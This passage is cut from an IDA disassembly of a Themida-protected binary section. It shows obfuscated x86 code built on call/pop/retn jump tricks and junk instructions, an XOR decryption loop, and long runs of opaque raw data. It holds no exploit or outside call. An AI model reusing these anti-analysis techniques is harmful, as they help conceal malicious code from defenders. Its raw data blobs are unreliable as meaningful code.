[ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5506D0 proc near ; CODE XREF: Themida_:005506C8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5506D0 endp ; --------------------------------------------------------------------------- push 4 mov [ebp+6A8165Dh], edi loc_5506E8: ; CODE XREF: Themida_:00550681j cmp eax, 5 jnz loc_550721 push 0 push eax call sub_5506FC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5506FC proc near ; CODE XREF: Themida_:005506F4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5506FC endp ; --------------------------------------------------------------------------- dd 940550F2h db 8Bh, 9Dh ; --------------------------------------------------------------------------- loc_550712: ; CODE XREF: Themida_:00550769j xchg eax, ebp xor [eax+774E906h], ch ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 0A8094D95h ; --------------------------------------------------------------------------- push es loc_550721: ; CODE XREF: Themida_:005506EBj cmp eax, 6 jnz loc_55074E sbb dl, 0DBh mov [ebp+6A8161Dh], edi lea edi, [ebp+6A84B5Ah] mov ebx, ecx mov bh, 0B3h jmp loc_5507BD ; --------------------------------------------------------------------------- js loc_55074E adc ebx, 70E7AB6Ch loc_55074E: ; CODE XREF: Themida_:00550724j ; Themida_:00550742j cmp eax, 7 jnz loc_550783 jb loc_550775 call sub_550771 xchg ecx, [eax-1] cwde in al, 0EAh xchg eax, esp jg short loc_550712 dec ebx lodsb popa dec ebx xchg eax, esi cdq ; =============== S U B R O U T I N E ======================================= sub_550771 proc near ; CODE XREF: Themida_:0055075Dp ; FUNCTION CHUNK AT 00550845 SIZE 00000019 BYTES movsx edx, si pop edx loc_550775: ; CODE XREF: Themida_:00550757j lea edi, [ebp+6A822DDh] mov ebx, ecx jmp loc_550845 sub_550771 endp ; sp-analysis failed ; --------------------------------------------------------------------------- clc loc_550783: ; CODE XREF: Themida_:00550751j cmp eax, 0Ah jnz loc_5507BD movzx edx, bx lea edi, [ebp+6A84D52h] jmp loc_5507A5 ; --------------------------------------------------------------------------- dw 0B092h dd 8370F458h, 73B43AC8h db 2Ah ; --------------------------------------------------------------------------- loc_5507A5: ; CODE XREF: Themida_:00550795j jmp loc_5507BD ; --------------------------------------------------------------------------- pusha jl loc_5507B3 mov esi, ecx loc_5507B3: ; CODE XREF: Themida_:005507ABj jnp loc_5507BC adc dh, 9Dh loc_5507BC: ; CODE XREF: Themida_:loc_5507B3j popa loc_5507BD: ; CODE XREF: Themida_:0055054Cj ; Themida_:005506C0j ... push edi jmp loc_5507C8 ; --------------------------------------------------------------------------- db 82h ; --------------------------------------------------------------------------- add byte ptr [edi-77h], 0Ch loc_5507C8: ; CODE XREF: Themida_:005507BEj mov ecx, 2F40254Ch jmp loc_5507E0 ; --------------------------------------------------------------------------- dw 0DA93h dd 2B9A2CCFh, 88B99944h, 46BB64E9h ; --------------------------------------------------------------------------- loc_5507E0: ; CODE XREF: Themida_:005507CDj cmp dword ptr [edi], 0 jz loc_55083B push 0 push ecx call sub_5507F4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5507F4 proc near ; CODE XREF: Themida_:005507ECp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5507F4 endp ; --------------------------------------------------------------------------- dd 547F0BFFh, 8B66141Bh, 0F0F30D8h, 0FE9D3B7h, 74000000h dd 0A6F3BA9Bh, 0D71C02Bh, 46716B6Eh, 0C9D15816h, 32A59D8Bh dd 574706A8h, 0A9E95AFCh, 66FFFFFFh db 0BAh, 74h, 90h ; --------------------------------------------------------------------------- loc_55083B: ; CODE XREF: Themida_:005507E3j pop edi sbb bh, 3Dh mov [ebp+6A833A1h], ebx ; START OF FUNCTION CHUNK FOR sub_550771 loc_550845: ; CODE XREF: sub_550771+Cj mov [ebp+6A84F4Eh], edi mov bl, 0C3h lea ecx, [ebp+6A826D1h] push 0 push ecx call sub_55085E and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_550771 ; =============== S U B R O U T I N E ======================================= sub_55085E proc near ; CODE XREF: sub_550771+E5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_55085E endp ; --------------------------------------------------------------------------- dw 0D58Fh dd 8D755E19h, 0F81545DBh, 81B5FFh, 0BD0906A8h, 6A82571h dd 9B7C858Dh, 8D5006AAh, 0A8566CBDh, 918D8D06h, 0B806A86Eh dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 6A86E2Eh dd 6EA98D8Dh, 0CF2B06A8h, 0C933A4F3h, 0B8h, 74C00B00h dd 41BD8346h, 6A825h, 95FF0674h, 6A81ADDh, 4F4EB58Bh, 858D06A8h dd 6AA9B7Ch, 858DD0FFh, 6A843ABh, 85C7D0FFh, 6A81599h dd 1, 3469A58Bh, 0B58B06A8h, 6A832BDh, 225DAD8Bh, 0C03306A8h dd 60000CC2h, 23D2D080h, 0A8340585h, 8F0F6106h, 2, 0BD83C1B7h dd 6A81BFDh, 10840F00h, 0BA000000h, 493F2183h, 1B4D95FFh dd 816606A8h, 839124C2h, 0A81FE5BDh, 850F0006h, 1BCh, 8369EE80h dd 0A8339DBDh, 850F0106h, 1ACh, 93D958Bh, 0BD8306A8h, 6A8162Dh dd 99840F00h, 0F000001h, 0BD83DBB7h, 6A84FA1h, 89840F00h dd 81000001h, 94F3ADCAh, 7C858D47h, 6606AA9Bh, 8B55B9BBh dd 0A84F4EB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 9796D125h, 0F2C38166h dd 6AD0FF54h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 3C6CC353h, 6DCE6A5Fh, 840F131Ah dd 2, 85C6FD8Ah, 6A815D5h, 0D6BF0F54h, 0A23FB468h, 0E85250E4h dd 0Dh, 0B4FE0463h, 462A6C97h, 6EBA3CD9h, 0CE9DAh, 0A2AD0000h dd 26E484CFh, 40AA2950h, 0F5A2974h, 8832BB31h, 585A6F07h dd 40240481h, 6A1AAC7Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 5EC4C353h, 2D31D8BAh dd 0E98E6DFAh, 0Bh, 6AFBC1A9h, 0D4A3E132h, 66A58629h, 7B59C281h dd 31F9B5FFh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0AA9200C3h, 0BA16A8DBh, 1E2D958Bh dd 858D06A8h, 6A83AC3h, 19E19531h, 0D0FF06A8h, 3191958Bh dd 6A06A8h, 68E0Fh, 958B0000h, 6A820E1h, 8D89FF6Ah, 6A817F9h dd 1B34F0BAh, 80D0FF60h, 0B5FF84C7h, 6A830BDh, 0FE8h, 77191C00h dd 67AF1647h, 0D0BFF893h, 0A76ABEDBh, 0CE9h, 0B3B0D300h dd 986F29DFh, 7FD7CE34h, 95FF5B80h, 6A80081h, 0BE9h, 0A2B8000h dd 267DACA7h, 9400E2DFh, 4F4EB58Bh, 13E906A8h, 0FA000000h dd 1E008CD0h, 4E49E0A7h, 0CFF130E3h, 12217CDDh, 80C35492h dd 8C0F78DEh, 5, 87CB8166h, 19B58B58h, 8006A80Dh, 0F60B5BEAh dd 3D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 5EBB1CC3h, 258A1867h, 0E5BB24D2h dd 0C635EE8Fh, 0E2800006h, 9D896047h, 6A82165h, 999531h dd 896106A8h, 0A84F5685h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 520F86A3h dd 978CD528h, 0DE95814h, 0FE000000h, 77B20230h, 7F8ACA36h dd 13C4339Dh, 1FE1958Bh, 0F88306A8h, 4D840F00h, 0E8000003h dd 0Ch, 4CF07563h, 257305B9h, 0E0204261h, 2F359D8Bh, 0B85B06A8h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_550BEF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550BEF proc near ; CODE XREF: Themida_:00550BE7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_550BEF endp ; --------------------------------------------------------------------------- db 0AAh dd 8E934h, 0E1250000h, 966C438Ch, 0F8839A44h, 0C0840F00h dd 80000000h, 0F8839DDBh, 61850F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8D7AC355h, 0A845D185h, 810F5106h, 2, 2D5BD68Bh, 929h dd 0CE19D8Bh, 665006A8h, 489D88Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BBC3B6DCh dd 3083827Ah, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 958995E5h, 6A802B1h, 263E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 83CE28D5h, 0DBD898Eh, 0B806A811h, 1, 4810Fh dd 51600000h, 0BD8D615Eh, 6A845D6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 21C35545h, 2179184Ch, 65310065h dd 0CF19D8Bh, 0D9E906A8h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CF9EC352h dd 0AD4039A0h, 8B571085h, 0A82D7995h, 2F88306h, 22850Fh dd 85890000h, 6A82CADh, 47CEBD8Dh, 9D8B06A8h, 6A806CDh dd 0E9D2B70Fh, 8Ch, 8D8946B7h, 6A82C79h, 0F03F883h, 2085h dd 49958B00h, 8D06A827h, 0A84962BDh, 60506006h, 0EE805E61h dd 61E961ABh, 8B000000h, 0A800399Dh, 5F88306h, 52850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0F4DE18C3h, 968ACBAEh, 0F5958BBAh, 0E906A829h dd 0BFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0E8C35646h, 805F722Bh, 0BB5B6ABAh, 254CB957h, 6A2F40h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 9189E2C3h, 90CDD929h, 3F83C59Eh, 68840F00h, 8B000000h dd 0A82E4195h, 890F3006h, 0A83191BDh, 8D858906h, 0D106A817h dd 53006AC9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0CA8113FEh, 4F592CC1h, 56006A47h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 68400E4Dh, 0F30216Ah, 0FF94E95Ch, 8053FFFFh, 835BDFF7h dd 850F05F8h, 7Ch, 0E0EA8166h, 0D98C6677h, 10E9h, 0F4FD1000h dd 0B8881287h, 2C4FF843h, 50D47C1Ah, 4C1F697h, 42850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 201C93C3h, 2BCDE2FAh, 0FC3C71A1h, 34F19D8Bh dd 0B806A8h, 8B000000h, 0A831D99Dh, 1AE906h, 9D0B0000h dd 6A814B5h, 1995858Bh, 958906A8h, 6A82CDDh, 8589E0FFh dd 6A83345h ; --------------------------------------------------------------------------- loc_550F14: ; CODE XREF: Themida_:00550400j cmp dword ptr [ebp+6A80081h], 0 jnz loc_551041 push 0 push edx call sub_550F2C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_550F2C proc near ; CODE XREF: Themida_:00550F24p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_550F2C endp ; --------------------------------------------------------------------------- dd 397A66F9h, 8A9379BAh, 9D8B57AEh, 6A80B29h, 0BFBA505Ah dd 894A34FBh, 8B662404h, 0D585C6D8h, 4506A815h, 32BA6660h dd 0C0BF0F5Ch, 4E861h, 69690000h, 10E98E72h, 38000000h dd 736E458Ah, 3B5FD3C4h, 9BDEE982h, 5016BC14h, 2890Fh dd 2FB60000h, 424448Bh, 13E8h, 65B8BA00h, 10584CE1h, 0FE05F200h dd 0E6D53ACBh, 14D4E07Ch, 0E8008B5Ah, 7, 897C0528h, 50FF35BBh dd 850F52h, 0F000000h, 0F525031h, 5A585A31h, 44895A58h dd 8B660424h, 860F58D8h, 3, 0FFD88B66h, 0A831F9B5h, 859D8B06h dd 8D06A81Dh, 0A83AC385h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8956C167h dd 0A8100985h, 0D0FF5B06h, 0FEDABA66h, 818589h, 11E906A8h dd 0AB000000h, 5DEA1FE4h, 0D27D8018h, 71F4976Ch, 5D557219h dd 2840F58h, 8B000000h ; --------------------------------------------------------------------------- setalc loc_551041: ; CODE XREF: Themida_:00550F1Bj cmp dword ptr [ebp+6A84FA5h], 0 jz loc_55107D movsx ebx, di push dword ptr [ebp+6A830BDh] call sub_55106B retn ; --------------------------------------------------------------------------- db 43h, 95h, 4Ch dd 62E2212Ch, 1C2FDC16h db 0FCh, 21h, 92h ; =============== S U B R O U T I N E ======================================= sub_55106B proc near ; CODE XREF: Themida_:00551057p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005511AC SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0055126D SIZE 00000010 BYTES and edx, [ebp+6A80BEDh] pop edx call dword ptr [ebp+6A80081h] mov edx, 44FBC38h loc_55107D: ; CODE XREF: Themida_:00551048j cmp eax, 0 jnz loc_5511AC push 0 push esi call sub_551091 and [esi-3Dh], bl sub_55106B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_551091 proc near ; CODE XREF: sub_55106B+1Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_551091 endp ; --------------------------------------------------------------------------- db 83h, 1, 0DBh dd 69C60D59h, 1890F28h, 0F9000000h, 0F850Fh, 0AE90000h dd 36000000h, 1B69EBA8h, 0FF0CE72Bh, 8DBD83BCh, 6A819h dd 8A840Fh, 0F38A0000h, 2EDDBD89h, 0B5FF06A8h, 6A8198Dh dd 9E9FEB7h, 0A5000000h, 3AF8680Eh, 0CAE478C4h, 1B8h, 0DAB70F00h dd 0C88B6660h, 178F0Fh, 11E80000h, 20000000h, 2C30881Ah dd 584D4805h, 2925AB6Bh, 7775915h, 0FBE9615Eh, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 5A7FC357h, 0E3E1F264h, 54EECEEDh, 11E950h dd 755B0000h, 65AC4F78h, 0B4A270EDh, 0B45E97Bh, 5A8E3C2Dh dd 30BDB5FFh, 0B70F06A8h, 0BDB5FFDAh, 8A06A830h, 81B5FFF0h dd 6A06A800h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0B37DC351h, 3609B3FAh, 8166F8E4h dd 0BB92FDAh, 0A80FC19Dh, 174E906h, 0D3810000h, 20F45597h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55106B loc_5511AC: ; CODE XREF: sub_55106B+15j pop edi mov ebx, [ebp+6A83019h] cmp dword ptr [ebp+6A8142Dh], 0 jnz loc_55126D mov edx, 3736DC90h mov byte ptr [ebp+6A815D5h], 4Dh mov [ebp+6A829B1h], edi push 67CF28A4h pusha mov si, 8043h push ebx mov ax, 0D366h pop ecx popa add [esp+4+var_4], 3C664E04h push esi sub [ebp+6A829E1h], eax pop edx push dword ptr [ebp+6A80D2Dh] push 0 push eax call sub_551203 and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_55106B ; =============== S U B R O U T I N E ======================================= sub_551203 proc near ; CODE XREF: sub_55106B+190p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_551203 endp ; --------------------------------------------------------------------------- db 16h dd 0CE5C9941h, 0E9523B8Fh, 7, 77CA353Ch, 8D841F3Eh, 0A83AC385h dd 5933BB06h, 0D0FF320Ch, 95895660h, 6A82D09h, 0FA8A605Ah dd 840Fh, 61610000h, 142D8589h, 6A06A8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0EAF73FC3h db 0E5h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55106B loc_55126D: ; CODE XREF: sub_55106B+14Fj mov eax, 0 push 0 push ecx call sub_55127D and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_55106B ; =============== S U B R O U T I N E ======================================= sub_55127D proc near ; CODE XREF: sub_55106B+20Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_55127D endp ; --------------------------------------------------------------------------- xor eax, 0BB66F5DBh mov ecx, 4EBD8903h dec edi test al, 6 pusha jnz loc_5512A7 mov [ebp+6A81A39h], ecx loc_5512A7: ; CODE XREF: Themida_:0055129Bj push ebx or eax, 141F7C2Bh pop edx popa sub bx, 3029h or eax, eax jz loc_5512D4 xor [ebp+6A81A51h], esi jmp loc_55131A ; --------------------------------------------------------------------------- mov [ebp+6A82181h], eax or ebx, 45A469Dh loc_5512D4: ; CODE XREF: Themida_:005512B7j push dword ptr [ebp+6A80081h] call sub_5512E6 ; --------------------------------------------------------------------------- db 8Fh dd 3FEFEF1Fh db 33h, 6Eh ; =============== S U B R O U T I N E ======================================= sub_5512E6 proc near ; CODE XREF: Themida_:005512DAp mov dx, bx pop edx lea eax, [ebp+6AA9B7Ch] mov bx, 0BF45h nop mov ebx, 2DC21DE3h loc_5512FA: ; CODE XREF: sub_5512E6+26j push eax push ecx jmp loc_551310 ; --------------------------------------------------------------------------- db 0Eh, 0E7h, 0B9h ; --------------------------------------------------------------------------- fisubr word ptr [ebx] fcomp st aas and ch, [edx+13h] jg short loc_5512FA sbb al, 4Bh loc_551310: ; CODE XREF: sub_5512E6+16j pop ebx nop push edi mov ebx, [ebp+6A8095Dh] pop ebx loc_55131A: ; CODE XREF: Themida_:005512C3j push eax push esi lea edi, [ebp+6A8566Ch] lea ecx, [ebp+6A87922h] mov eax, 748323BCh sub ecx, edi loc_55132F: ; CODE XREF: sub_5512E6+4Fj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_55132F pop esi pop eax cmp dword ptr [ebp+6A8198Dh], 0 jz short loc_551348 mov ecx, [ebp+6A80C81h] loc_551348: ; CODE XREF: sub_5512E6+5Aj xor ecx, ecx mov eax, 0 or eax, eax jz loc_5513FF cmp dword ptr [ebp+6A82541h], 0 jz short loc_551366 call dword ptr [ebp+6A81ADDh] loc_551366: ; CODE XREF: sub_5512E6+78j mov eax, 0 or eax, eax jnz short loc_551378 cmp dword ptr [ebp+6A84F56h], 1 jz short loc_551381 loc_551378: ; CODE XREF: sub_5512E6+87j cmp dword ptr [ebp+6A84F56h], 2 jnz short loc_55138F loc_551381: ; CODE XREF: sub_5512E6+90j mov esi, [ebp+6A84F4Eh] lea eax, [ebp+6AA9B7Ch] call eax loc_55138F: ; CODE XREF: sub_5512E6+99j cmp dword ptr [ebp+6A81BFDh], 0 jz short loc_55139E call dword ptr [ebp+6A81B4Dh] loc_55139E: ; CODE XREF: sub_5512E6+B0j lea eax, [ebp+6A843ABh] call eax cmp dword ptr [ebp+6A80E35h], 2 jnz short loc_5513DE mov esp, [ebp+6A83469h] mov eax, [ebp+6A8198Dh] mov [esp+0], eax mov dword ptr [ebp+6A81599h], 1 mov esi, [ebp+6A84F52h] mov ebp, [ebp+6A8225Dh] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_5513DE: ; CODE XREF: sub_5512E6+C7j mov dword ptr [ebp+6A81599h], 1 mov esp, [ebp+6A83469h] mov esi, [ebp+6A832BDh] mov ebp, [ebp+6A8225Dh] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_5513FF: ; CODE XREF: sub_5512E6+6Bj cmp dword ptr [ebp+6A81BFDh], 0 jz short loc_551417 cmp dword ptr [ebp+6A81B4Dh], 0 jz short loc_551417 call dword ptr [ebp+6A81B4Dh] loc_551417: ; CODE XREF: sub_5512E6+120j ; sub_5512E6+129j mov esi, [ebp+6A84F4Eh] retn sub_5512E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jl loc_55142A and edx, [ebp+6A83529h] loc_55142A: ; CODE XREF: Themida_:0055141Ej and ebx, [ebp+6A80659h] push 0 push ebp call sub_55143B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55143B proc near ; CODE XREF: Themida_:00551433p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_55143B endp ; --------------------------------------------------------------------------- mov dl, 0A9h mov ch, 8Bh shr byte ptr [ebx], 1 shr byte ptr [edx+0], cl push edx call sub_55145D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_55145D proc near ; CODE XREF: Themida_:00551455p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_55145D endp ; --------------------------------------------------------------------------- adc ecx, ebp mov dh, bh push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_551481 ; --------------------------------------------------------------------------- loc_55147F: ; CODE XREF: Themida_:00551484j inc eax inc edi loc_551481: ; CODE XREF: Themida_:0055147Dj cmp byte ptr [edi], 0 jnz short loc_55147F xor ecx, ecx mov edi, [ebp+8] jmp short loc_5514B0 ; --------------------------------------------------------------------------- loc_55148D: ; CODE XREF: Themida_:005514B2j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5514A5 ; --------------------------------------------------------------------------- loc_5514A2: ; CODE XREF: Themida_:005514A8j mul ebx dec esi loc_5514A5: ; CODE XREF: Themida_:005514A0j cmp esi, 0 ja short loc_5514A2 pop ebx add ecx, eax pop eax inc edi dec eax loc_5514B0: ; CODE XREF: Themida_:0055148Bj or eax, eax jnz short loc_55148D mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- mov [ebp+6A81FDDh], ebx call sub_5514CE xchg ebx, [esi+1Bh] cmpsb retn ; =============== S U B R O U T I N E ======================================= sub_5514CE proc near ; CODE XREF: Themida_:005514C4p jge loc_5514DA mov [ebp+6A83495h], eax loc_5514DA: ; CODE XREF: sub_5514CEj pop ebx jl loc_5514E7 mov edx, [ebp+6A80F25h] sub_5514CE endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_54DC11 loc_5514E7: ; CODE XREF: sub_54DC11:loc_54E9B6j ; sub_5514CE+Dj mov eax, ecx jmp loc_572C5A ; END OF FUNCTION CHUNK FOR sub_54DC11 ; --------------------------------------------------------------------------- dw 0FF6Ch dd 3F0012h, 84DD025Ch, 5Ch, 280000h, 6A60025Ch, 84DD005Ch dd 202005Ch, 20000h, 10000h, 20000h, 9A0D0000h, 0F9ACh dd 4 dup(0) dd 23430000h, 3FC30055h, 58B70055h, 1C3C0055h, 5EB00055h dd 0B8870055h, 91250055h, 8DC20055h, 0ADD10055h, 9BE40055h dd 53C20055h, 0C4D20055h, 814F0055h, 0AC010055h, 0A7C20055h dd 84940055h, 18C90055h, 7ACF0055h, 0CC3D0055h, 32970055h dd 0B28F0055h, 9C770055h, 9EFE0055h, 52100055h, 0A49C0055h dd 0C1590055h, 0CFC60055h, 47830055h, 4D190055h, 0C3D80055h dd 0AE270055h, 3E6D0055h, 5A0B0055h, 3FF60055h, 1FBD0055h dd 3E9B0055h, 58BF0055h, 0C9100055h, 55930055h, 0C44D0055h dd 3B070055h, 42AF0055h, 1E3D0055h, 0C5A30055h, 0A2140055h dd 484C0055h, 1B4C0055h, 9C880055h, 77750055h, 19E70055h dd 29E10055h, 6B640055h, 6CA00055h, 0B5830055h, 3F150055h dd 6AB70055h, 895D0055h, 2E4B0055h, 2F740055h, 21C80055h dd 2AC60055h, 33560055h, 5E6E0055h, 0C9770055h, 6AFA0055h dd 0D8A00055h, 54D50055h, 0D4040055h, 67000055h, 391B0055h dd 58520055h, 43F40055h, 6D540055h, 8F350055h, 25CE0055h dd 0BAC30055h, 0B26C0055h, 784A0055h, 8D870055h, 257B0055h dd 34E20055h, 9DCB0055h, 2D320055h, 0D6A60055h, 82800055h dd 0CFB60055h, 470B0055h, 62E40055h, 66190055h, 0AA120055h dd 3C170055h, 3C440055h, 0BA6E0055h, 81610055h, 53110055h dd 55C60055h, 87A90055h, 59980055h, 5DDE0055h, 4F5E0055h dd 0B70B0055h, 0CBA00055h, 0C6920055h, 2F0C0055h, 587C0055h dd 31E50055h, 1B720055h, 71760055h, 56C70055h, 36060055h dd 0C3980055h, 21FB0055h, 0DC570055h, 31210055h, 0D5140055h dd 0AD940055h, 73E90055h, 0D65A0055h, 1E370055h, 22380055h dd 0CC2A0055h, 37BE0055h, 9AB70055h, 858F0055h, 48E50055h dd 0D1840055h, 1C4A0055h, 0A13E0055h, 0B82F0055h, 85AF0055h dd 612D0055h, 0CD060055h, 57FB0055h, 36600055h, 3A420055h dd 93820055h, 29AF0055h, 0A47C0055h, 0B4780055h, 0A4030055h dd 677E0055h, 92040055h, 0DC3E0055h, 0B3610055h, 86620055h dd 8CEC0055h, 723F0055h, 30C00055h, 79AD0055h, 853E0055h dd 3F410055h, 19F60055h, 85120055h, 81C80055h, 1AFF0055h dd 58E70055h, 0C9980055h, 570B0055h, 0B4E50055h, 843D0055h dd 33CF0055h, 58930055h, 42280055h, 4A4D0055h, 503F0055h dd 0B7AF0055h, 6DF80055h db 55h, 0 ; --------------------------------------------------------------------------- loc_5517CE: ; CODE XREF: Themida_:00573536j ; Themida_:0057D146j ... pusha pushf cld call $+5 pop edi sub edi, 6A87DC9h mov eax, edi add edi, 6A87AE1h cmp eax, [edi+2Ch] jnz short loc_5517EC jmp short loc_5517FF ; --------------------------------------------------------------------------- loc_5517EC: ; CODE XREF: Themida_:005517E8j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5517FB ; --------------------------------------------------------------------------- loc_5517F6: ; CODE XREF: Themida_:005517FDj add [edi+ecx*4+40h], eax dec ecx loc_5517FB: ; CODE XREF: Themida_:005517F4j or ecx, ecx jnz short loc_5517F6 loc_5517FF: ; CODE XREF: Themida_:005517EAj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55180C: ; CODE XREF: Themida_:00551813j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55180C loc_551815: ; CODE XREF: Themida_:0055191Ej ; Themida_:loc_55197Cj ... lodsb xor al, bl push dx jmp loc_55CC57 ; --------------------------------------------------------------------------- loc_55181F: ; CODE XREF: Themida_:005578C0j or ebx, 52C703Dh push edi mov edi, 7DC77D94h sub edi, 0FFFFFFFFh shl edi, 5 xor edi, 0F5369C60h sub ebx, edi pop edi jmp loc_552424 ; --------------------------------------------------------------------------- loc_55183F: ; CODE XREF: Themida_:0055BC3Cj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push edx jmp loc_558DF4 ; --------------------------------------------------------------------------- loc_55184F: ; CODE XREF: Themida_:0055A31Bj mov [esp], ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov eax, 4C1116D3h xor [esp+4], eax mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5568A1 ; --------------------------------------------------------------------------- loc_551888: ; CODE XREF: Themida_:00559EADj mov eax, 420A341Ah sub edx, eax push dword ptr [esp] pop eax jmp loc_55BFC6 ; --------------------------------------------------------------------------- loc_551898: ; CODE XREF: Themida_:0055CCAFj add ecx, 6B891C75h jmp loc_551DC3 ; --------------------------------------------------------------------------- loc_5518A3: ; CODE XREF: Themida_:00554074j mov eax, 26502D15h add eax, 0D9AFD2EFh jmp loc_552279 ; --------------------------------------------------------------------------- loc_5518B2: ; CODE XREF: Themida_:00552A94j add ebp, ebx sub ebp, 539F1999h mov ebx, [esp] jmp loc_553D74 ; --------------------------------------------------------------------------- loc_5518C2: ; CODE XREF: Themida_:005575A1j pop ecx dec ebx jmp loc_5578B9 ; --------------------------------------------------------------------------- push 19F1h mov [esp], ebx jmp loc_559D03 ; --------------------------------------------------------------------------- loc_5518D6: ; CODE XREF: Themida_:005529AAj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_55C1F0 ; --------------------------------------------------------------------------- loc_5518EB: ; CODE XREF: Themida_:00554706j mov esi, 2ECA7C8Fh push eax mov eax, 56DD7E32h sub esi, eax pop eax jmp loc_5577BB ; --------------------------------------------------------------------------- loc_5518FE: ; CODE XREF: Themida_:0055B2C9j push cx mov cl, 0F0h sub esp, 4 mov [esp], edx push ecx mov ch, 77h jmp loc_556F91 ; --------------------------------------------------------------------------- loc_551913: ; CODE XREF: Themida_:0055C951j mov [esp], cx movzx cx, al push cx pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_551923: ; CODE XREF: Themida_:0055A92Aj or al, 0DBh add al, 0FDh and bh, al pop eax and bh, 0AFh shl bh, 4 add bh, 20h sub dh, bh pop ebx add al, dh jmp loc_552CA2 ; 